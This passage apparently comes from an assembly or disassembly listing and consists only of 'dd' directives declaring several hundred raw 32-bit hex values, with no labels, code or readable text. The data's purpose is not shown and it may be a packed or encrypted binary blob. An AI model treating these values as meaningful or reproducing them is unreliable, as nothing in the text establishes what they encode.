4C4C6B56h, 30D9FC55h, 5814C987h, 1DFA3084h dd 38D735A2h, 8101BFB8h, 51EBB1F7h, 0AB7DE633h, 0F15400A2h dd 504A6053h, 4C18FF81h, 0E103650Bh, 5F4E5ED3h, 2160C06h dd 0A24043Fh, 0A8769C28h, 4BAF10BCh, 0AC04F9B8h, 1B3447h dd 3CB808B4h, 16CE2CE9h, 45C888FDh, 0ED98E3A0h, 200AE22Dh dd 0F015A9F0h, 894ABD5Dh, 95A080Bh, 3B2F1A20h, 0D693D330h dd 7172FE35h, 884CF6FEh, 923AAACEh, 1FF90B37h, 0F821EFD3h dd 5B03D3C0h, 7AA582B1h, 487C2898h, 958F08E5h, 0BF783A1Fh dd 22B043C5h, 7EB05049h, 0D0D500D4h, 0FC0FEE8h, 0ED9A608Bh dd 1A7028EFh, 55931071h, 3B8A0DEh, 45A66D1h, 52C88156h dd 0CFECA82Fh, 54888BB5h, 38F82F09h, 0E2CFF5B1h, 5DAF6851h dd 0B313EE46h, 52085277h, 68570261h, 82681ACBh, 60824BC6h dd 24755576h, 138C0921h, 1B05FB03h, 31AB434Ch, 1A0FB5h dd 0C1815756h, 0CE16A282h, 0CAF82A2Fh, 0F83F6A2h, 0B358F189h dd 90BC2052h, 9CFA9FC7h, 0E1263C90h, 35406FA0h, 485D5515h dd 903A5058h, 939B217h, 72F6FF8Ah, 841070Dh, 0E7E56520h dd 0C2610005h, 0AB98FD29h, 0E59D8FBDh, 12FC1A5Ch, 0D1013DC5h dd 70DA8908h, 0EEEA5A49h, 1C5A3590h, 3DAB79BEh, 0F1A61096h dd 66D32801h, 6013D068h, 820956h, 0BC0AFCC4h, 0E1D2A063h dd 916516B0h, 15040527h, 0EB75BACEh, 0A4043900h, 9505CA80h dd 664A2F5Ah, 6FE95E02h, 0DBA95764h, 0FE7F4304h, 2931DADDh dd 0F7D74A3Fh, 568908A9h, 0A946983Eh, 0D8F61Ah, 402E8C0h dd 4CEB80C4h, 0E919C3E0h, 0B9BB2896h, 621EBE2Ah, 0E4942DF9h dd 0CFB627BEh, 88B093E6h, 9DBDF540h, 0FD3D0977h, 0E741EA4Ah dd 0CC76ACB8h, 95AF2DC5h, 0E14A1329h, 15B97EFFh, 0C1DF93DFh dd 243B2CB4h, 5214F87Bh, 39913CB2h, 93C2926Eh, 257A4908h dd 0FE8242B9h, 0FE880514h, 8250A1B2h, 0B7709536h, 4E8C5F4Eh dd 62D2BC14h, 0D003711h, 0F0AB5481h, 0ABD84FF7h, 21504105h dd 101234C5h, 7EBFC7EEh, 0AC34E9C4h, 0B9A64A01h, 0FEA6AE1Eh dd 0E0945C24h, 3202BF2h, 12E90F16h, 0DEDC4BEAh, 5FC4CA74h dd 0A3B6CBE0h, 8414D390h, 0C32BFDBEh, 8CFFBBB8h, 0D248DCAFh dd 9F5DDD40h, 75C9F3D4h, 680F8EE5h, 8CEF665h, 5351D327h dd 4CB0756Bh, 920416CCh, 0AB67E979h, 0A94F9ACFh, 0DB7D1602h dd 76856F37h, 0EBD17797h, 0CD38FEA7h, 9566C2B4h, 2E7D9D41h dd 4C7EBE4h, 7A0D79D0h, 196DC24Fh, 42848E09h, 0C0532233h dd 148B0D4h, 0BA524CB4h, 602E4726h, 8E972904h, 0CCCE89C6h dd 4F8EFC6Dh, 71A19733h, 2AFECDFBh, 0F170BA3Dh, 0E7825E2Dh dd 0F5512DA7h, 0B877062Bh, 0B75BE388h, 50181853h, 3E040DA0h dd 0F94C4E7Dh, 0A060E913h, 9E0BBB5Dh, 504A2007h, 2BE9869h dd 353353A6h, 8A60EBC1h, 0D5822AC4h, 0BD2543C8h, 3C90C4A6h dd 0DC3D89B5h, 9EA5EF6Fh dd 0C269F957h, 0A105DC68h, 2103E952h, 99421359h, 4AF8A023h dd 54B3800Fh, 7B91E611h, 24F68251h, 6BFBF14Bh, 9420F952h dd 3C7C9D14h, 23A25D25h, 0C6575D6Ch, 49FA9757h, 59CD0117h dd 2EE9BD90h, 0D1C895D5h, 0E6973944h, 0D4B22ADh, 9E7F2309h dd 0C2980E35h, 811C3B12h, 85061DDCh, 7BD857C2h, 73F405E6h dd 2D19E812h, 8C6EB1FFh, 0E559EB68h, 3E789E20h, 0C70058BDh dd 14473842h, 0A7983B98h, 214C032Dh, 0E6840FF0h, 0ED9DC53Fh dd 9531841Ah, 0BB535C03h, 3E2AD802h, 4C65F868h, 743309C9h dd 208E1597h, 25785A80h, 365FE955h, 83B1E180h, 0A4C16280h dd 0A17A428Eh, 62A8C09h, 5658051h, 755E71D5h, 25BAE852h dd 4077F994h, 945BDE92h, 0C110C2A3h, 0FEE5904h, 0B693D340h dd 6E4E1C4Ah, 0CF477D25h, 9D14F72Dh, 0ED13584Eh, 68F143F8h dd 85E43EC0h, 0FA0E4AF4h, 0BF837631h, 7AE90A0Ah, 0D089B426h dd 98F00293h, 621E5C0Dh, 877ADD01h, 810E7D5Bh, 7749C458h dd 1E853B95h, 718490FBh, 0B765366h, 0BD5A3EF1h, 85C9760Ch dd 0CBF1215Dh, 0FFB05A81h, 25681855h, 66AFC562h, 0F9EDB3C0h dd 0F678EE43h, 88425E1Ch, 141348FBh, 11CD4C1Dh, 0C022531h dd 5BC9FC5Eh, 0C802B4F3h, 1B3B94BBh, 2624764Eh, 25020057h dd 37305A5Eh, 6A8E925h, 9715241h, 172F75F1h, 70991C2h dd 0A9E1F000h, 77D4D56h, 71FBC901h, 9684413h, 0F0E3DCEAh dd 124A41E9h, 0FC24CB9h, 9EF01889h, 0E8BBD59Dh, 3D09BEF6h dd 7618D44Eh, 4D84B9D6h, 8020D31Ah, 472A9D5Fh, 97E9490Ch dd 4B5E48C5h, 28C5BE2Dh, 0D5CC3C91h, 0B2A3BE04h, 5B46CF5Eh dd 52D50DF6h, 5E078A10h, 0DAE131AEh, 0AFAC3F68h, 431564E0h dd 0FD203941h, 0E13841F1h, 0D28562C8h, 29E6F601h, 0C17840CBh dd 5FB84410h, 90A70EBCh, 263C705Dh, 0F51F81E8h, 794769A7h dd 87850F4Dh, 0EAE9B5A0h, 79719F7Bh, 0EE0B88h, 0AABDD88Bh dd 1124807h, 0A41DDDF7h, 7DA7B56Ch, 5449FFCEh, 0DDD1C533h dd 4A728FFBh, 451A10C0h, 464B4C06h, 0A5BE1C4Eh, 0FE8F4E5Dh dd 3A680156h, 0E939D175h, 0C17C3Ch, 0D310EA2Dh, 51D02923h dd 0BAF00705h, 53B02E43h, 0EB01C4D2h, 0B348C8A3h, 0FEF1900Bh dd 5D4A834Ch, 833224EAh, 22006708h, 0D433C725h, 1F603575h dd 0CB592C10h, 0D41ADE45h, 8CE500DCh, 0DB5FFBF8h, 3DBE4B18h dd 8DF73A59h, 2058FB2Dh, 88297B0Bh, 0D530576Eh, 0BB6C5F7h dd 0D1F9F643h, 8A2FDFDEh, 7559251Dh, 0E4899EC7h, 0EEB920ACh dd 90DC5209h, 0E5C67895h, 0F0E90840h, 3B90B771h, 5BC2F201h dd 9354555Eh, 82F2B4A4h, 2100BB5Bh, 0D4BE5651h, 918A1792h dd 963EBD89h, 0B3350EABh, 0CD694572h, 0B9128C3Dh, 0C2345D12h dd 46C93400h, 95B352Dh, 0B4E08F0Fh, 0E920387Fh, 28B55A79h dd 24CC046h, 5E7259DFh, 0E84D9BA0h, 3B5B58E6h, 0FB9D983Bh dd 0F85E563Ch, 0E0F65A07h, 59DD0C9Ah, 19E94123h, 93627217h dd 653FC6A4h, 0FBEE99DAh, 2D2505Eh, 976885A0h, 8A0930F5h dd 0AA11D215h, 50E7F801h, 57709D60h, 0B9175E66h, 0A3CADE13h dd 58ADBBA0h, 40C65F61h, 69CDE243h, 0DAFB6AAFh, 2605EDDEh dd 13F13132h, 0CB35CEEh, 81C8F988h, 0D1B515B0h, 0EBFF696Bh dd 94CC298h, 0CCDD9989h, 0AAFDFE97h, 0D6B88291h, 7A9ACAB9h dd 543A3573h, 4995EB13h, 0E1AE3513h, 3617C7E5h, 1E4B0E49h dd 14255CBEh, 3110FB46h, 72EB5B28h, 73D6A9CFh, 0F297541Dh dd 8FA5B553h, 0F5198EBh, 0F8FC720Dh, 1244EA07h, 153017Ch dd 0E16A5F4Eh, 3E548061h, 46FE2023h, 0C4E230E9h, 0E0C1586Eh dd 35E1D7A3h, 0DFDE411Bh, 6C87F15h, 0C0A140A5h, 0C05E801h dd 0D0870F80h, 0FA0A126Eh, 3A1E3091h, 97C1A324h, 0EBA0385Ch dd 2DAC3F20h, 0DD7C381h, 0B82F0C40h, 7D0C6991h, 0C059DC3h dd 61D54718h, 0EBE50C87h, 4AE90802h, 2F9AE667h, 3776665Ch dd 12195A8Bh, 0C1F9DD4Ah, 0C0F42A8Ch, 0F5879566h, 50685153h dd 0F7C8F925h, 5716B4F4h, 64FFAF2h, 0B19760A9h, 2E722181h dd 0F5FE01D5h, 5016D542h, 49CA818Fh, 37A22401h, 96898E0Fh dd 69E14864h, 0AEDF22AFh, 0D356436Ch, 548B698h, 2975D10Eh dd 0C41C4F1h, 0FC1E5E08h, 0BC5A840Bh, 25C1F051h, 84184357h dd 0C400369Fh, 5AD02103h, 0B819B305h, 0EA094B41h, 0A6BA18D1h dd 7D4A96Ch, 0C57F8E6Bh, 8D270BE3h, 913D8859h, 8403DD0Dh dd 29455911h, 8821CB6h, 0F84B3741h, 0F1F8279Dh, 54703E04h dd 90AA4112h, 4A09769Eh, 10DE7E60h, 0C117C959h, 980C0E2Ah dd 95E8821Eh, 5831765Fh, 84584A64h, 0B598FBCFh, 0BFB9582Ch dd 0EC7813DEh, 38FE4F82h, 0A32768DDh, 7AA17E23h, 4B7A070Bh dd 0E6064125h, 0C6E027B0h, 1A921DD1h, 0C99EE8B2h, 0A2295399h dd 5B4CA6E2h, 0F16F2927h, 6ABC08A6h, 0BA40BC28h, 9F08F65Fh dd 4E461A02h, 0BEBC0A7Dh, 12E3610h, 25160CB3h, 625BC26Dh dd 0A23DD844h, 8F24BB16h, 0CB66D4D9h, 0E09CE90Bh, 7E20285Ah dd 0C9B10F4Ch, 12E6D928h, 9C9E6F1Fh, 1723EB0Fh, 688E09B6h dd 0A55B2A2Ch, 3B45BA4Dh, 730693CBh, 606D252h, 0BF1C9F8Bh dd 620C3061h, 0B70F80CDh, 59F368C8h, 6F8D0E4Dh, 4ABC2B39h dd 9420F4A7h, 2A40815Eh, 0CC63A6D4h, 2827C308h, 7F2425EFh dd 0A8883F5Bh, 6BE97804h, 294F2A9Ah, 2F20A2A8h, 9F585062h dd 0E0E655A1h, 4AB4DE59h, 45846FADh, 0F3026914h, 92325EA6h dd 50338702h, 924CFBCBh, 7F5B6813h, 901C72A3h, 86189603h dd 41A106B6h, 5A233CA4h, 356277AAh, 9A30D1ADh, 0B05D686Ch dd 9A5AEDE9h, 0D27B6Bh, 62D7F38h, 350F335Dh, 3B3A7B00h dd 424C0571h, 0C0904F0Ch, 0E9FD2190h, 60BE1131h, 32DCC509h dd 0FD0ED2DCh, 0C8D6116Ah, 0AE2BA551h, 700B841Fh, 812A74EFh dd 0C92D7DF7h, 4808203Bh, 2CAA0195h, 4ACD5925h, 0E804D8C0h dd 0E8B30553h, 0BFB9CB80h, 0B2523980h, 5EE9713Fh, 0C05A8ACDh dd 88F1B652h, 0F9E988F4h, 32EA2F4Ah, 2977DE58h, 0CB5A5CF6h dd 3C4C0F4Ah, 7D28209Dh, 254A7C6Dh, 0C6D17401h, 0E92A0CA0h dd 0B87284BFh, 2EC37312h, 90E05BBh, 90A0E9DFh, 0D900588h dd 0B7811C3Bh, 810439DCh, 206EF38Bh, 0D960F7DAh, 6A0E9810h dd 24C14822h, 84AB277Dh, 2A3A9711h, 86011BD1h, 9306FD2Ah dd 691264FDh, 0A435BC82h, 0DEE83584h, 68D9BB4Bh, 407F67F5h dd 236CC52Eh, 1494CBDh, 5B08405Ch, 291F4593h, 9E0B4DE6h dd 0A1167D13h, 0FEC3F710h, 32881877h, 8B570EA4h, 5455DD12h dd 0C3719621h, 0B603CC3Eh, 6026099Dh, 124E2DE5h, 5369C943h dd 570F050h, 0AF8AD4BDh, 0A194A05Fh, 904DA443h, 70551EBh dd 0EF48C42Bh, 0F93C1233h, 4E380D84h, 1859C4A4h, 6749DC0Fh dd 71A7A5B1h, 0E7D50805h, 0CA3F712Dh, 0B8DB1278h, 0BFE8D27Bh dd 2AF121B1h, 49F24BBAh, 4C31ED80h, 0C1E8161Ah, 0D7B2584Ah dd 6FFD5925h, 9CC70BA8h, 0C172E0DCh, 9FA5858h, 95C55355h dd 5A12D384h, 8D040801h, 0A783FCADh, 95C2EE5Fh, 24AD0A53h dd 0F2BDEE95h, 0FCE0B88Bh, 5DEEFE01h, 0B68B66Eh, 803457C3h dd 0EFCF3440h, 22370105h, 6A12AA79h, 9F7DFF4h, 0EBC17BEDh dd 0CF27C05Fh, 0BD0E029Eh, 2D07E926h, 969555h, 0EF685257h dd 3625A539h, 72D45Ah, 0C70AE7A7h, 0EBBF77E9h, 0A8C5B13Bh dd 5A8ECE6Bh, 5A048DE6h, 0AF31E468h, 1C04B30h, 415C5837h dd 0C710BC04h, 0C5F2BF67h dd 16CB8717h, 198AFA9Ah, 0D2962C59h, 73786463h, 2D5AC358h dd 0FFC0EA9Bh, 7AE5E1F2h, 7B9DA517h, 9558AA0Ch, 0FECB4359h dd 6AE98463h, 8E4AB5F4h, 0F61217EBh, 16E98EB4h, 0BDFEEAB2h dd 7705CBA0h, 9D1252E9h, 0EE8EF506h, 0E9CE0168h, 8E7A8228h dd 0C06809FFh, 9ABE637h, 986655Ch, 0F712B9E5h, 0B02853FAh dd 23053554h, 104869Ch, 0FD28C1Ch, 2DEA60EEh, 51625842h dd 2395DCh, 0F180D9F6h, 47069FFDh, 1AB13052h, 0ACB1C12Eh dd 0B40E8EB1h, 66E60092h, 24F02058h, 1710525Ah, 77DDF9AFh dd 54D6E832h, 18A6E159h, 588BB838h, 5C5690FFh, 68530F56h dd 2D2962A8h, 0E2E42F82h, 440AF409h, 4CBA3090h, 4FCC2509h dd 397AF560h, 2FB5335Ch, 5E77869Bh, 0B41020D4h, 804FFAF8h dd 0C44777FBh, 14CB0E6h, 9505D003h, 0E134D22Eh, 0B23A03E3h dd 0D83FCBDCh, 184B7703h, 3E880E8Fh, 9C26EC80h, 2809EE51h dd 0D8E5DD57h, 92417888h, 7BCDA9EAh, 5BEB2664h, 0C2BAF8BEh dd 0F31C6668h, 74E904A2h, 4EB1307h, 38866073h, 1FF77D8Bh dd 4BD4F6E6h, 0B9901E51h, 0BA055205h, 3A91247Ah, 4DAE9E01h dd 96856537h, 81F508CDh, 6DF0440Ch, 754607CEh, 0C663B967h dd 57F5F920h, 91ED46Eh, 347E5F08h, 0A9F5E951h, 0FF647A92h dd 6857AAC0h, 0F8765E4Ch, 107BC48Dh, 0B40EAC16h, 0F35E0DFAh dd 0ABD90123h, 0CDAC2B92h, 0F3A9EEB4h, 2BCE8D86h, 3B256810h dd 161FE90Bh, 88F60E94h, 0B1011B94h, 66C8282Ah, 7BD55A20h dd 0F9CEA8E6h, 0B65F975Fh, 0B3C15C4Ah, 0ACF8A689h, 41CCD1BFh dd 7B148D68h, 0EC210AE7h, 71858A89h, 8FF82586h, 0B33B310Fh dd 7C59E621h, 0AD08951Eh, 0FDBF24h, 0F380DBF6h, 8EBC039h dd 2CAC0CC3h, 0E9D88056h, 0CE7D5A4Ah, 0F3646070h, 90E17895h dd 90D4B785h, 42963D07h, 0EF14DE9Eh, 7FEC4808h, 7EB3025Ah dd 4200082Eh, 0D60B9915h, 0A58A89FEh, 0F8E62520h, 1158A914h dd 2FB5757Ah, 0FEAFBC3Dh, 2A7EBE34h, 0BF8163CEh, 5806F67Ch dd 16B9D329h, 0BB47F9E9h, 237173CAh, 0FCA5FEEDh, 0AA0513B3h dd 55D63EB1h, 0CB90E5D8h, 45BB8888h, 56143A0Fh, 0BF1A7D4Bh dd 0F763FD46h, 0E0B9CABh, 0D8DBF75Fh, 376825BBh, 230209FCh dd 404F1A05h, 7D433046h, 978B907Dh, 99A0C97Ah, 49173C39h dd 2FA2969h, 9E2CEFC8h, 0C96E4DFh, 3B8873B3h, 8C30E910h dd 89C2DDD3h, 0F87412C9h, 2755B831h, 0EC30EFCh, 0D7BFE4F0h dd 63335992h, 0D9D193DAh, 9F2847C9h, 0FCCCD4B7h, 4C2F5DEDh dd 0E951F076h, 88425919h, 0CCFD3076h, 74B5BE0Ch, 0E07E4C31h dd 0DFD3789h, 0F8C99700h, 0BEE9F209h, 0CD8EA8C7h, 0A5D2BB0Eh dd 0E1030153h, 15AD789h, 9D647B18h, 44FB2942h, 0E90804D5h dd 5AB0B8A5h, 0C8C4B3A2h, 4D680284h, 62405C12h, 70B351Fh dd 59609117h, 98163964h, 150A55ADh, 4C1BE97Eh, 40B95C07h dd 0E6B696ABh, 8A310269h, 0CD2902EEh, 7720E944h, 56619530h dd 0D081D32Ch, 4410E304h, 0FC4AFE35h, 85062F44h, 0D9EE89A2h dd 5C9D009Fh, 6212204Ch, 707D601h, 3127231Ah, 0D1BEEDE3h dd 53FACEF9h, 0BC5A1318h, 1E40E644h, 0F1FE7F98h, 7E295D34h dd 520B5010h, 658AD3F5h, 0ADCBE90Bh, 0DE96B2DCh, 0AA8457BBh dd 93A04779h, 0C49CB2h, 0B753C4FEh, 0FC4B204Dh, 2A05F165h dd 0CD2CE30h, 7CFB81C3h, 285B48h, 0F00EFA4Ah, 4E036CE9h dd 890F1240h, 0C377C722h, 183B1C07h, 0E5311556h, 0F7C62FD8h dd 4B589818h, 42F250C0h, 20E94A87h, 2D059909h, 296660F0h dd 0E9C21AFCh, 7957B5BCh, 313A0259h, 51552951h, 0BAEE1DBFh dd 0E9450702h, 175A68BBh, 5DE268BFh, 3C8AF655h, 3377F534h dd 51B4ED83h, 0E5052DE6h, 159527B9h, 0A8FBF31Ch, 0C65A8306h dd 9E3514BBh, 282E3D31h, 6AFD7ADDh, 91C9B627h, 74D53BC7h dd 3CD68EAh, 505A0940h, 90CA8158h, 50DF40AAh, 2CCDB805h dd 8C0C69ADh, 25C3599Ah, 78820603h, 13D57C5Dh, 2BC0C021h dd 49453F86h, 49C16118h, 7D4F2768h, 7149AC25h, 8CAFDD51h dd 0C4F1992Bh, 0DE1D4A5h, 0CB72DEF5h, 0C18B963Ch, 65FD837Bh dd 0E7602C94h, 0B8615902h, 0CA1F2C4Bh, 0AD087AFEh, 57520B1Eh dd 2BFDA439h, 0DCBE2413h, 5BD489EEh, 61070816h, 980D0429h dd 0FF37AAFEh, 0CABDD9A5h, 0BDA7D73Bh, 0FF9504F8h, 56B72ABEh dd 55E9705Eh, 6AE2154Ah, 4E5CE9A0h, 596ABBBEh, 53BBBE47h dd 95E2A577h, 0D0FE5E57h, 5B95E4A8h, 5D5F89C8h, 6B99F9F5h dd 57F2E05Eh, 938B451Ah, 0B525EB44h, 87B8699Ch, 0A8FB22E0h dd 2F5EF59Fh, 0DD60E5C1h, 0D49D11B6h, 0E8206199h, 513D6F66h dd 0EB70C461h, 1643B658h, 0C48CEF3Fh, 24334B75h, 5F962184h dd 50222D17h, 2B4F5070h, 9F93EEFh, 0D9362068h, 0B09A92EAh dd 0ED3280BBh, 61E6069Bh, 0CAF9B69Dh, 48622ECFh, 1361063h dd 1EF0CD81h, 8DC8420Fh, 195A6026h, 0AC06A5E5h, 77253AB0h dd 0E4B376E4h, 946B21D2h, 71517492h, 2EB23572h, 0F1F75021h dd 43C3DFE9h, 4C34FF14h, 0BAA813Fh, 66D5FEA1h, 0AB512AF5h dd 56D124D3h, 1CC5016Eh, 352918BBh, 1C0806D6h, 18E72DB5h dd 0E9F3426Ah, 90F5469Dh, 0BC978425h, 39B13EE5h, 2A29315Fh dd 0BD809EACh, 41A93F70h, 0AA50E8A2h, 80B6581Ch, 0F1374E3Bh dd 281FC390h, 648898F3h, 0BBAC3EB8h, 0F0923D87h, 0C7A7A02Ch dd 76FC093Dh, 8DF7007Dh, 4776EB79h, 7C9C6EE9h, 0E567B20Eh dd 4592D0B4h, 451241C1h, 29305C01h, 93B41061h, 44F7B825h dd 9FF9D78h, 0FC9F09DFh, 0C331626Fh, 6B7F71C1h, 80C03E09h dd 3DE680A7h, 7FC672FEh, 9C5A25CEh, 1F8BAF7Fh, 0F3AF2D66h dd 2317093Dh, 6390EA77h, 7985CC33h, 0D7FF2BC4h, 5452FC9Fh dd 0C1FBA264h, 5B56F8AEh, 2B9E2DAAh, 5F8494F2h, 7C6802FEh dd 97F5F972h, 0CF85FAEDh, 5F8EB7BBh, 3A27038Bh, 60116868h dd 0E13F1B82h, 0F724C580h, 0F6E74AA1h, 4E2F48B0h, 0CA318EFh dd 39246CCCh, 56166D43h, 0CD334F9h, 83659D43h, 336A02F8h dd 0A1127A86h, 3C7864E2h, 0EC58F347h, 5CA00C9Eh, 3816EA4Fh dd 8305034Ch, 0CDFFB11Bh, 80642BE9h, 0A683C8EEh, 53B4644Ah dd 26D70EF2h, 0CAC00729h, 0C775F9Ah, 1BBF570Eh, 90F9E4Ah dd 220373FAh, 0EC2CC0B8h, 292FDBFCh, 53831CDBh, 10354D68h dd 4BF87DDDh, 0E2EF6612h, 0BDBDD38Dh, 0D8038304h, 0F4E4FA57h dd 0FD9805D9h, 4EF8987h, 0EEAD5C5Ch, 0BED297B2h, 25E95E8Ch dd 5048923Bh, 689F97C0h, 9FA8AD13h, 0E9895373h, 0F7DBAB40h dd 74A7C4E7h, 0BCD92D2Ch, 8527316Ah, 0CC1F7CFh, 0D86AD45Eh dd 24A1566h, 0E1BAF035h, 84B87B55h, 0D5FDAFE4h, 9D400300h dd 0B591E973h, 0BD01FB95h, 220B15ADh, 0DFFC1AD5h, 0E0826082h dd 284594DDh, 2F895854h, 38793F32h, 516EDB89h, 1F7DA82Ch dd 80513E6Ch, 5FE3CE0h, 0F094959h, 0A3F8E48Ch, 7A33D85h dd 88E8B646h, 0E92994F4h, 3CEF0215h, 8F5D9A68h, 8C70AFFh dd 0A3099A24h, 0DC3BDDA2h, 759E0D61h, 8B2AFEE5h, 0B4500FD2h dd 0E9CCC157h, 346A845Bh, 2DA9BA96h, 0A8E1C316h, 6583C5F5h dd 2E84DAEh, 76764706h, 535E5D01h, 0FC8079F9h, 58128D3Eh dd 0D6EAE90Bh, 4ABB7DFEh, 0EFBD16E6h, 505200F3h, 9E2877B8h dd 0A4B86A5Ah, 117B6478h, 48FAED05h, 13EC20F9h, 615AE168h dd 3BB4AE6Bh, 4F680970h, 2D3D9259h, 0FB5A7A74h, 0CD4C8290h dd 1BBCD2E3h, 342A1C7h dd 0F838410Eh, 4D388439h, 11A8C5E9h, 0BD37FF4Eh, 5C227C3h dd 236BB18h, 0E33A81AFh, 426DAD9Ch, 0AF6755Bh, 732E680Eh dd 80B9A163h, 32E93EF5h, 0C6C1750Dh, 0F69ED0F7h, 58B455h dd 880FCBFEh, 7AF12246h, 68F0BAA8h, 50912A36h, 5A4323ADh dd 75FCFDE9h, 9F0BCA40h, 0D15D8F09h, 0DDCBB0Ch, 76E9030Dh dd 6A1F2574h, 5B5DDDDFh, 50610C10h, 251706B1h, 3FB86A11h dd 0CA10950h, 4D69C97Ah, 6E12840Eh, 60A89385h, 28F0092Dh dd 80914A20h, 301BF5BDh, 0EA0C25D2h, 0D626DDF7h, 0ED808F89h dd 6D307666h, 81FD4C01h, 275F0840h, 135F07E9h, 0AFD0C263h dd 0DCB7ABA2h, 0CD772728h, 0C47D1239h, 1634BC48h, 61AB315Dh dd 6BFDE9AFh, 33B5CD16h, 0D8282CE5h, 5555316h, 0EB582807h dd 72AA2B00h, 6229967Fh, 25529CFDh, 8FA25C0Bh, 611E2E26h dd 2BA5C45h, 59D08A7Eh, 2F7F562h, 51FAD461h, 0C68B692Ch dd 0BF2E2C94h, 0C1ADC0B3h, 916AD51Dh, 141E081Ch, 631700EBh dd 521C6064h, 4295BA01h, 46E9578Fh, 8AC7122Bh, 53BB5E74h dd 0CEF900F0h, 7E184380h, 488AFEC1h, 72311647h, 0A84F0878h dd 4B20E67Dh, 7B31A7DFh, 0AAC0EE5Eh, 2728D8B4h, 2C5F58E6h dd 4B2AC661h, 0BA837453h, 0FE0225DCh, 4D7E952Ch, 0C19B8358h dd 5225C1D7h, 48C8F60Bh, 1BC06E36h, 2E4573EAh, 0E2C11658h dd 0A2FE0104h, 0E752D61Ch, 240502FBh, 0B4156A90h, 0E03B70A1h dd 0FA99F96Ch, 0DF396D0Bh, 8DCF3B30h, 0B24764BEh, 0AA89C089h dd 0BD8BB2EAh, 76F00158h, 0AD574F28h, 0C7748617h, 0C93622F8h dd 0D2A09226h, 86BCB6A3h, 0D03CCA51h, 66410789h, 8B6BD85Eh dd 0E5C02EC1h, 86205303h, 12C76380h, 0C3005EFh, 3075064Dh dd 3172C9FDh, 0F594AA1h, 0ACF16AB7h, 1D0C4BD5h, 1CFE8E2Fh dd 0EAD986DFh, 3CF4B3E6h, 0BF4916ACh, 9783DC28h, 0B08BB9F3h dd 971A3699h, 9FDE96D5h, 68F978E8h, 83991AE2h, 12FC5094h dd 23A330B3h, 1E55E305h, 2DE6C00Ch, 32134B39h, 6E03D2F7h dd 0E1360631h, 9C20D729h, 0C83581CEh, 40060D22h, 0BD138F0Fh dd 1E5D9D16h, 0F15A5FEDh, 5068B43h, 0BFDB80F7h, 5CA7555Dh dd 6F06AC71h, 0C1C6E40h, 99C89D00h, 53652D6Dh, 1510A15h dd 2F0705F8h, 5516A066h, 41B1AFE9h, 0AB936623h, 8B2CE19Ah dd 315F85FAh, 9708E2C5h, 4F5683E0h, 0F4C5AEBEh, 3B3FB5AFh dd 3A5067ACh, 0B35E0FDh, 4E9C15Bh, 0F780980Eh, 1AD9F22h dd 2D5FCB5Ch, 0B5F8437Fh, 0DC841DA9h, 2779E3D7h, 444BF458h dd 0B9D3D2E8h, 96B5D4E6h, 52562598h, 95A33C7Dh, 0D77AD1FCh dd 0E927A2C6h, 99C039Bh, 0DBC0B9C6h, 6176E224h, 0EE800A8Dh dd 0FCF431BAh, 5CB761E0h, 12834AA7h, 0D3674478h, 0FE5F0BA7h dd 5EF77055h, 54DD397h, 0EB1C4709h, 0ACD7C78Ah, 9FB755C1h dd 2894B028h, 0DD0BE7E1h, 4E5F60E2h, 2160BF49h, 6C251735h dd 2CF77C57h, 0FB20092Ch, 72C2EAFh, 5D4A1D12h, 0F8AA9AD4h dd 0DA8916E0h, 87FC770Dh, 0A684370h, 2DC25B95h, 669B09F9h dd 81619844h, 927A3D8h, 40283E20h, 0DB5CBECCh, 137E3DB4h dd 0D998E80h, 4AF4A76Eh, 4CC425E2h, 26A7FA55h, 0A4189394h dd 2D5A72CBh, 0C75B0101h, 0BB840F33h, 7A288E65h, 66FC2082h dd 0DBE477F6h, 0B08050D3h, 0EA5866A6h, 335978F1h, 4416AEC9h dd 22CDCB83h, 5D7A5859h, 0D4D671E7h, 0FE5BFAE9h, 57293262h dd 0E9C154F4h, 533FB1CDh, 0F032007Ah, 5B7FE030h, 22276B91h dd 3E30D23h, 510013E8h, 0D6686C9Dh, 0B75CB0h, 872D2C98h dd 529ADDF5h, 921E0502h, 52810FA8h, 5BF800E8h, 4BBA6660h dd 0F5785079h, 0A7AFC0BDh, 29ACBD5Dh, 0C5000F2Dh, 0E1BFCF83h dd 4860F9A6h, 1E007498h, 8A12C9BDh, 0E0C29BD7h, 0F7A0767Bh dd 50F7D4E3h, 0BE51C25Fh, 97411800h, 33FF5829h, 0F5B5038Bh dd 5F07FA2Bh, 8360F2BAh, 0DE2C2FC8h, 4025165Dh, 19A0B3Dh dd 89603C2Bh, 0BF068D85h, 6140F332h, 4E1C1666h, 0D752007Dh dd 0A9852957h, 8F262560h, 48A0B403h, 17E7583h, 5EEFC280h dd 8F10E94Bh, 74A6FD9h, 3BB0F441h, 20760AEh, 7301EB40h dd 0D177C061h, 850F04CAh, 0BEFF979Eh, 5A6E17F8h, 0A3DFED00h dd 0A666FD3Ah, 3D8F0060h, 524DB3FEh, 0E400A7DCh, 0C4367DB9h dd 96CC4Fh, 79E6F729h, 9025C5D2h, 0DDFAE40Eh, 0C089C09Dh dd 7C9BD676h, 0B9101D3Dh, 0FD2880C3h, 0DD0855C5h, 50A42531h dd 45AA799h, 0B1D20CC3h, 6C271075h, 1EC5F85Eh, 1E0F75Ah dd 6DB02721h, 28A1FC9Ah, 9903543Ah, 662944D9h, 0AD44D508h dd 0B422844Dh, 3D324242h, 8479C448h, 44493722h, 0AA00821Eh dd 0E26DDA7Bh, 4F4BF24h, 962985FFh, 62C5C0B3h, 0A30B2086h dd 0DAA147h, 95843101h, 6B78043Fh, 0C0628C32h, 5C2B14B4h dd 4DDD900h, 0B29A5831h, 2E57004Dh, 0C70A28Ch, 0E3EC54A9h dd 42DD1D00h, 0E2863303h, 0C36900A3h, 728D3E24h, 0F0009A59h dd 18C61498h, 0EAB82F46h, 5F780030h, 0A0490771h, 751D2124h dd 58070E3h, 38DA3F8Dh, 0C00D0098h, 0EA29178h, 0EE003B53h dd 56E2DA9h, 76A8F93h, 635B620Bh, 2444309Dh, 12396B8Ah dd 0C8DD80BCh, 0A01551BAh, 0FD290003h, 5D45F280h, 0B97E69E4h dd 0E49B1A28h, 9C521EC0h, 31B5AF0h, 80F85545h, 4D90CF2Bh dd 5E01E397h, 6DD24117h, 96202A6Fh, 6C4300B8h, 1F98A040h dd 307B6B2Dh, 99F0B500h, 87F22B02h, 7A3500A4h, 76250463h dd 9700F44Bh, 1F5075B0h, 0FE0A0503h, 5D2600CDh, 1539D49Bh dd 1900A7B5h, 0C0ABB6F6h, 70D7857h, 0EBF36988h, 9055C042h dd 0EE0074D0h, 0DA29924Ah, 135E76C3h, 0B217D9h, 